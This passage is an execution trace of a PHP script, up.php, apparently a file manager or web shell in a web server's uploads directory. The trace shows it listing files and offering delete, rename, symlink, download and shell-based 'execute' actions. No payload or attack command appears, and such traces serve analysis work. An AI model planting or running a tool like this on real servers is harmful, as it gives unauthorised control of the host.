5 373 1 0.018907 802200
5 373 R 'move'
4 372 1 0.018927 802088
4 372 R 'move'
4 374 0 0.018948 801928 word 1 /var/www/html/uploads/up.php 1363 1 'copy'
5 375 0 0.018966 801928 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'copy' 2 'ISO-8859-1'
5 375 1 0.018987 802200
5 375 R 'copy'
4 374 1 0.019007 802088
4 374 R 'copy'
4 376 0 0.019027 801936 word 1 /var/www/html/uploads/up.php 1363 1 'download'
5 377 0 0.019046 801936 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'download' 2 'ISO-8859-1'
5 377 1 0.019067 802208
5 377 R 'download'
4 376 1 0.019088 802096
4 376 R 'download'
3 A /var/www/html/uploads/up.php 1245 $i++
4 378 0 0.019126 801880 sizeof 0 /var/www/html/uploads/up.php 1245 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 378 1 0.019224 801912
4 378 R 6
3 A /var/www/html/uploads/up.php 1246 $file = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 379 0 0.019284 801880 date 0 /var/www/html/uploads/up.php 1248 2 'n/j/y H:i:s' 1676252825
4 379 1 0.019329 802208
4 379 R '2/12/23 20:47:05'
3 A /var/www/html/uploads/up.php 1248 $timestamps = 'mtime: 2/12/23 20:47:05, '
4 380 0 0.019371 801824 date 0 /var/www/html/uploads/up.php 1249 2 'n/j/y H:i:s' 1676252825
4 380 1 0.019412 802152
4 380 R '2/12/23 20:47:05'
3 A /var/www/html/uploads/up.php 1249 $timestamps .= 'atime: 2/12/23 20:47:05, '
4 381 0 0.019453 801848 date 0 /var/www/html/uploads/up.php 1250 2 'n/j/y H:i:s' 1676252825
4 381 1 0.019493 802176
4 381 R '2/12/23 20:47:05'
3 A /var/www/html/uploads/up.php 1250 $timestamps .= 'ctime: 2/12/23 20:47:05'
4 382 0 0.019534 802072 html 1 /var/www/html/uploads/up.php 1254 1 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
5 383 0 0.019555 802072 htmlentities 0 /var/www/html/uploads/up.php 1589 3 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05' 2 'ISO-8859-1'
5 383 1 0.019580 802376
5 383 R 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4 382 1 0.019603 802264
4 382 R 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4 384 0 0.019625 801880 substr 0 /var/www/html/uploads/up.php 1285 3 'prepend.php' 0 1
4 384 1 0.019642 801976
4 384 R 'p'
4 385 0 0.019657 801944 urlencode 0 /var/www/html/uploads/up.php 1292 1 '/var/www/html/uploads/prepend.php'
4 385 1 0.019671 802056
4 385 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fprepend.php'
4 386 0 0.019689 801992 html 1 /var/www/html/uploads/up.php 1292 1 'prepend.php'
5 387 0 0.019701 801992 htmlentities 0 /var/www/html/uploads/up.php 1589 3 'prepend.php' 2 'ISO-8859-1'
5 387 1 0.019716 802264
5 387 R 'prepend.php'
4 386 1 0.019731 802152
4 386 R 'prepend.php'
3 A /var/www/html/uploads/up.php 1302 $human = ''
4 388 0 0.019757 801880 decoct 0 /var/www/html/uploads/up.php 1311 1 33261
4 388 1 0.019770 801952
4 388 R '100755'
4 389 0 0.019785 801880 function_exists 0 /var/www/html/uploads/up.php 1313 1 'posix_getuid'
4 389 1 0.019798 801920
4 389 R TRUE
4 390 0 0.019812 801880 posix_getuid 0 /var/www/html/uploads/up.php 1313 0
4 390 1 0.019834 801880
4 390 R 33
3 A /var/www/html/uploads/up.php 1313 $l = FALSE
4 391 0 0.019857 801880 permission_octal2string 1 /var/www/html/uploads/up.php 1315 1 33261
4 A /var/www/html/uploads/up.php 961 $type = '-'
4 A /var/www/html/uploads/up.php 974 $owner = 'r'
4 A /var/www/html/uploads/up.php 975 $owner .= 'w'
4 A /var/www/html/uploads/up.php 979 $owner .= 'x'
4 A /var/www/html/uploads/up.php 982 $group = 'r'
4 A /var/www/html/uploads/up.php 983 $group .= '-'
4 A /var/www/html/uploads/up.php 987 $group .= 'x'
4 A /var/www/html/uploads/up.php 990 $other = 'r'
4 A /var/www/html/uploads/up.php 991 $other .= '-'
4 A /var/www/html/uploads/up.php 995 $other .= 'x'
4 391 1 0.019972 801920
4 391 R '-rwxr-xr-x'
4 392 0 0.019987 801920 html 1 /var/www/html/uploads/up.php 1315 1 '-rwxr-xr-x'
5 393 0 0.019999 801920 htmlentities 0 /var/www/html/uploads/up.php 1589 3 '-rwxr-xr-x' 2 'ISO-8859-1'
5 393 1 0.020014 802192
5 393 R '-rwxr-xr-x'
4 392 1 0.020028 802080
4 392 R '-rwxr-xr-x'
4 394 0 0.020042 801880 array_key_exists 0 /var/www/html/uploads/up.php 1320 2 'owner_name' ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 394 1 0.020074 801944
4 394 R TRUE
4 395 0 0.020088 801880 array_key_exists 0 /var/www/html/uploads/up.php 1326 2 'group_name' ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 395 1 0.020116 801944
4 395 R TRUE
4 396 0 0.020131 801976 html 1 /var/www/html/uploads/up.php 1335 1 '/var/www/html/uploads/prepend.php'
5 397 0 0.020144 801976 htmlentities 0 /var/www/html/uploads/up.php 1589 3 '/var/www/html/uploads/prepend.php' 2 'ISO-8859-1'
5 397 1 0.020160 802248
5 397 R '/var/www/html/uploads/prepend.php'
4 396 1 0.020176 802136
4 396 R '/var/www/html/uploads/prepend.php'
3 A /var/www/html/uploads/up.php 1338 $actions = []
4 398 0 0.020202 801504 function_exists 0 /var/www/html/uploads/up.php 1339 1 'symlink'
4 398 1 0.020216 801544
4 398 R TRUE
3 A /var/www/html/uploads/up.php 1340 $actions[] = 'create_symlink'
4 399 0 0.020242 801880 dirname 0 /var/www/html/uploads/up.php 1342 1 '/var/www/html/uploads/prepend.php'
4 399 1 0.020255 801976
4 399 R '/var/www/html/uploads'
4 400 0 0.020271 801944 is_writable 0 /var/www/html/uploads/up.php 1342 1 '/var/www/html/uploads'
4 400 1 0.020299 801984
4 400 R TRUE
3 A /var/www/html/uploads/up.php 1343 $actions[] = 'delete'
3 A /var/www/html/uploads/up.php 1344 $actions[] = 'rename'
3 A /var/www/html/uploads/up.php 1345 $actions[] = 'move'
3 A /var/www/html/uploads/up.php 1348 $actions[] = 'copy'
3 A /var/www/html/uploads/up.php 1349 $actions[] = 'download'
4 401 0 0.020373 801880 function_exists 0 /var/www/html/uploads/up.php 1352 1 'exec'
4 401 1 0.020390 801920
4 401 R TRUE
4 402 0 0.020404 801880 file_exists 0 /var/www/html/uploads/up.php 1352 1 '/bin/sh'
4 402 1 0.020426 801920
4 402 R TRUE
3 A /var/www/html/uploads/up.php 1353 $actions[] = 'execute'
4 403 0 0.020450 801880 sizeof 0 /var/www/html/uploads/up.php 1356 1 [0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move', 4 => 'copy', 5 => 'download', 6 => 'execute']
4 403 1 0.020469 801912
4 403 R 7
4 404 0 0.020483 801976 str_repeat 0 /var/www/html/uploads/up.php 1359 2 ' ' 30
4 404 1 0.020498 802264
4 404 R ' '
4 405 0 0.020515 801944 word 1 /var/www/html/uploads/up.php 1363 1 'create_symlink'
5 406 0 0.020528 801944 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'create symlink' 2 'ISO-8859-1'
5 406 1 0.020544 802216
5 406 R 'create symlink'
4 405 1 0.020559 802104
4 405 R 'create symlink'
4 407 0 0.020574 801936 word 1 /var/www/html/uploads/up.php 1363 1 'delete'
5 408 0 0.020587 801936 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'delete' 2 'ISO-8859-1'
5 408 1 0.020606 802208
5 408 R 'delete'
4 407 1 0.020620 802096
4 407 R 'delete'
4 409 0 0.020635 801936 word 1 /var/www/html/uploads/up.php 1363 1 'rename'
5 410 0 0.020648 801936 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'rename' 2 'ISO-8859-1'
5 410 1 0.020662 802208
5 410 R 'rename'
4 409 1 0.020676 802096
4 409 R 'rename'
4 411 0 0.020690 801928 word 1 /var/www/html/uploads/up.php 1363 1 'move'
5 412 0 0.020703 801928 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'move' 2 'ISO-8859-1'
5 412 1 0.020717 802200
5 412 R 'move'
4 411 1 0.020731 802088
4 411 R 'move'
4 413 0 0.020744 801928 word 1 /var/www/html/uploads/up.php 1363 1 'copy'
5 414 0 0.020757 801928 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'copy' 2 'ISO-8859-1'
5 414 1 0.020771 802200
5 414 R 'copy'
4 413 1 0.020784 802088
4 413 R 'copy'
4 415 0 0.020798 801936 word 1 /var/www/html/uploads/up.php 1363 1 'download'
5 416 0 0.020811 801936 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'download' 2 'ISO-8859-1'
5 416 1 0.020825 802208
5 416 R 'download'
4 415 1 0.020839 802096
4 415 R 'download'
4 417 0 0.020873 801936 word 1 /var/www/html/uploads/up.php 1363 1 'execute'
5 418 0 0.020888 801936 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'execute' 2 'ISO-8859-1'
5 418 1 0.020903 802208
5 418 R 'execute'
4 417 1 0.020916 802096
4 417 R 'execute'
3 A /var/www/html/uploads/up.php 1245 $i++
4 419 0 0.020941 801880 sizeof 0 /var/www/html/uploads/up.php 1245 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 419 1 0.021016 801912
4 419 R 6
3 A /var/www/html/uploads/up.php 1246 $file = ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4 420 0 0.021057 801880 date 0 /var/www/html/uploads/up.php 1248 2 'n/j/y H:i:s' 1676252825
4 420 1 0.021090 802208
4 420 R '2/12/23 20:47:05'
3 A /var/www/html/uploads/up.php 1248 $timestamps = 'mtime: 2/12/23 20:47:05, '
4 421 0 0.021117 801824 date 0 /var/www/html/uploads/up.php 1249 2 'n/j/y H:i:s' 1676252825
4 421 1 0.021147 802152
4 421 R '2/12/23 20:47:05'
3 A /var/www/html/uploads/up.php 1249 $timestamps .= 'atime: 2/12/23 20:47:05, '
4 422 0 0.021174 801848 date 0 /var/www/html/uploads/up.php 1250 2 'n/j/y H:i:s' 1676252825
4 422 1 0.021204 802176
4 422 R '2/12/23 20:47:05'
3 A /var/www/html/uploads/up.php 1250 $timestamps .= 'ctime: 2/12/23 20:47:05'
4 423 0 0.021230 802072 html 1 /var/www/html/uploads/up.php 1254 1 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
5 424 0 0.021244 802072 htmlentities 0 /var/www/html/uploads/up.php 1589 3 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05' 2 'ISO-8859-1'
5 424 1 0.021262 802376
5 424 R 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4 423 1 0.021278 802264
4 423 R 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4 425 0 0.021294 801880 substr 0 /var/www/html/uploads/up.php 1285 3 'up.php' 0 1
4 425 1 0.021309 801976
4 425 R 'u'
4 426 0 0.021324 801944 urlencode 0 /var/www/html/uploads/up.php 1292 1 '/var/www/html/uploads/up.php'
4 426 1 0.021336 802040
4 426 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fup.php'
4 427 0 0.021353 801992 html 1 /var/www/html/uploads/up.php 1292 1 'up.php'
5 428 0 0.021364 801992 htmlentities 0 /var/www/html/uploads/up.php 1589 3 'up.php' 2 'ISO-8859-1'
5 428 1 0.021379 802264
5 428 R 'up.php'
4 427 1 0.021393 802152
4 427 R 'up.php'
4 429 0 0.021408 801880 human_filesize 1 /var/www/html/uploads/up.php 1300 1 80504
4 A /var/www/html/uploads/up.php 1148 $suffices = 'kMGTPE'
4 A /var/www/html/uploads/up.php 1150 $n = 0
4 A /var/www/html/uploads/up.php 1152 $filesize /= 1024
4 A /var/www/html/uploads/up.php 1153 $n++
5 430 0 0.021471 801880 strpos 0 /var/www/html/uploads/up.php 1156 2 78.6171875 '.'
5 430 1 0.021488 802208
5 430 R 2
5 431 0 0.021502 801880 round 0 /var/www/html/uploads/up.php 1156 2 78.6171875 1
5 431 1 0.021515 801952
5 431 R 78.6
4 A /var/www/html/uploads/up.php 1156 $filesize = 78.6
5 432 0 0.021539 801880 strpos 0 /var/www/html/uploads/up.php 1158 2 78.6 '.'
5 432 1 0.021553 802208
5 432 R 2
5 433 0 0.021567 801880 substr 0 /var/www/html/uploads/up.php 1159 3 78.6 -1 1
5 433 1 0.021580 802232
5 433 R '6'
5 434 0 0.021594 801880 in_array 0 /var/www/html/uploads/up.php 1159 2 '6' [0 => '0', 1 => '.']
5 434 1 0.021610 801952
5 434 R FALSE
5 435 0 0.021624 801880 substr 0 /var/www/html/uploads/up.php 1164 3 'kMGTPE' 0 1
5 435 1 0.021637 801976
5 435 R 'k'
4 A /var/www/html/uploads/up.php 1164 $suffix = 'k'
4 429 1 0.021662 801912
4 429 R '78.6 kB'
3 A /var/www/html/uploads/up.php 1300 $human = ' title="78.6 kB"'
4 436 0 0.021689 801928 decoct 0 /var/www/html/uploads/up.php 1311 1 33204
4 436 1 0.021702 802000
4 436 R '100664'
4 437 0 0.021715 801928 function_exists 0 /var/www/html/uploads/up.php 1313 1 'posix_getuid'
4 437 1 0.021729 801968
4 437 R TRUE
4 438 0 0.021742 801928 posix_getuid 0 /var/www/html/uploads/up.php 1313 0
4 438 1 0.021755 801928
4 438 R 33
3 A /var/www/html/uploads/up.php 1313 $l = FALSE
4 439 0 0.021777 801928 permission_octal2string 1 /var/www/html/uploads/up.php 1315 1 33204
4 A /var/www/html/uploads/up.php 961 $type = '-'
4 A /var/www/html/uploads/up.php 974 $owner = 'r'
4 A /var/www/html/uploads/up.php 975 $owner .= 'w'
4 A /var/www/html/uploads/up.php 979 $owner .= '-'
4 A /var/www/html/uploads/up.php 982 $group = 'r'
4 A /var/www/html/uploads/up.php 983 $group .= 'w'
4 A /var/www/html/uploads/up.php 987 $group .= '-'
4 A /var/www/html/uploads/up.php 990 $other = 'r'
4 A /var/www/html/uploads/up.php 991 $other .= '-'
4 A /var/www/html/uploads/up.php 995 $other .= '-'
4 439 1 0.021892 801968
4 439 R '-rw-rw-r--'
4 440 0 0.021906 801968 html 1 /var/www/html/uploads/up.php 1315 1 '-rw-rw-r--'
5 441 0 0.021918 801968 htmlentities 0 /var/www/html/uploads/up.php 1589 3 '-rw-rw-r--' 2 'ISO-8859-1'
5 441 1 0.021933 802240
5 441 R '-rw-rw-r--'
4 440 1 0.021947 802128
4 440 R '-rw-rw-r--'
4 442 0 0.021962 801928 array_key_exists 0 /var/www/html/uploads/up.php 1320 2 'owner_name' ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4 442 1 0.021992 801992
4 442 R TRUE
4 443 0 0.022006 801928 array_key_exists 0 /var/www/html/uploads/up.php 1326 2 'group_name' ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4 443 1 0.022035 801992
4 443 R TRUE
4 444 0 0.022049 802024 html 1 /var/www/html/uploads/up.php 1335 1 '/var/www/html/uploads/up.php'
5 445 0 0.022061 802024 htmlentities 0 /var/www/html/uploads/up.php 1589 3 '/var/www/html/uploads/up.php' 2 'ISO-8859-1'
5 445 1 0.022076 802296
5 445 R '/var/www/html/uploads/up.php'
4 444 1 0.022092 802184
4 444 R '/var/www/html/uploads/up.php'
3 A /var/www/html/uploads/up.php 1338 $actions = []
4 446 0 0.022117 801552 function_exists 0 /var/www/html/uploads/up.php 1339 1 'symlink'
4 446 1 0.022131 801592
4 446 R TRUE
3 A /var/www/html/uploads/up.php 1340 $actions[] = 'create_symlink'
4 447 0 0.022156 801928 dirname 0 /var/www/html/uploads/up.php 1342 1 '/var/www/html/uploads/up.php'
4 447 1 0.022168 802016
4 447 R '/var/www/html/uploads'
4 448 0 0.022183 801984 is_writable 0 /var/www/html/uploads/up.php 1342 1 '/var/www/html/uploads'
4 448 1 0.022204 802024
4 448 R TRUE
3 A /var/www/html/uploads/up.php 1343 $actions[] = 'delete'
3 A /var/www/html/uploads/up.php 1344 $actions[] = 'rename'
3 A /var/www/html/uploads/up.php 1345 $actions[] = 'move'
3 A /var/www/html/uploads/up.php 1348 $actions[] = 'copy'
3 A /var/www/html/uploads/up.php 1349 $actions[] = 'download'
4 449 0 0.022270 801928 function_exists 0 /var/www/html/uploads/up.php 1352 1 'exec'
4 449 1 0.022283 801968
4 449 R TRUE
4 450 0 0.022297 801928 sizeof 0 /var/www/html/uploads/up.php 1356 1 [0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move', 4 => 'copy', 5 => 'download']
4 450 1 0.022315 801960
4 450 R 6
4 451 0 0.022329 802024 str_repeat 0 /var/www/html/uploads/up.php 1359 2 ' ' 30
4 451 1 0.022342 802312
4 451 R ' '
4 452 0 0.022358 801992 word 1 /var/www/html/uploads/up.php 1363 1 'create_symlink'
5 453 0 0.022371 801992 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'create symlink' 2 'ISO-8859-1'
5 453 1 0.022387 802264
5 453 R 'create symlink'
4 452 1 0.022402 802152
4 452 R 'create symlink'
4 454 0 0.022417 801984 word 1 /var/www/html/uploads/up.php 1363 1 'delete'
5 455 0 0.022429 801984 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'delete' 2 'ISO-8859-1'
5 455 1 0.022443 802256
5 455 R 'delete'
4 454 1 0.022457 802144
4 454 R 'delete'
4 456 0 0.022470 801984 word 1 /var/www/html/uploads/up.php 1363 1 'rename'
5 457 0 0.022483 801984 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'rename' 2 'ISO-8859-1'
5 457 1 0.022497 802256
5 457 R 'rename'
4 456 1 0.022511 802144
4 456 R 'rename'
4 458 0 0.022525 801976 word 1 /var/www/html/uploads/up.php 1363 1 'move'
5 459 0 0.022537 801976 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'move' 2 'ISO-8859-1'
5 459 1 0.022551 802248
5 459 R 'move'
4 458 1 0.022566 802136
4 458 R 'move'
4 460 0 0.022579 801976 word 1 /var/www/html/uploads/up.php 1363 1 'copy'
5 461 0 0.022591 801976 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'copy' 2 'ISO-8859-1'
5 461 1 0.022606 802248
5 461 R 'copy'
4 460 1 0.022619 802136
4 460 R 'copy'
4 462 0 0.022633 801984 word 1 /var/www/html/uploads/up.php 1363 1 'download'
5 463 0 0.022646 801984 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'download' 2 'ISO-8859-1'
5 463 1 0.022660 802256
5 463 R 'download'
4 462 1 0.022674 802144
4 462 R 'download'
3 A /var/www/html/uploads/up.php 1245 $i++
4 464 0 0.022698 801928 sizeof 0 /var/www/html/uploads/up.php 1245 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 464 1 0.022779 801960
4 464 R 6
4 465 0 0.022794 802152 sizeof 0 /var/www/html/uploads/up.php 1381 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 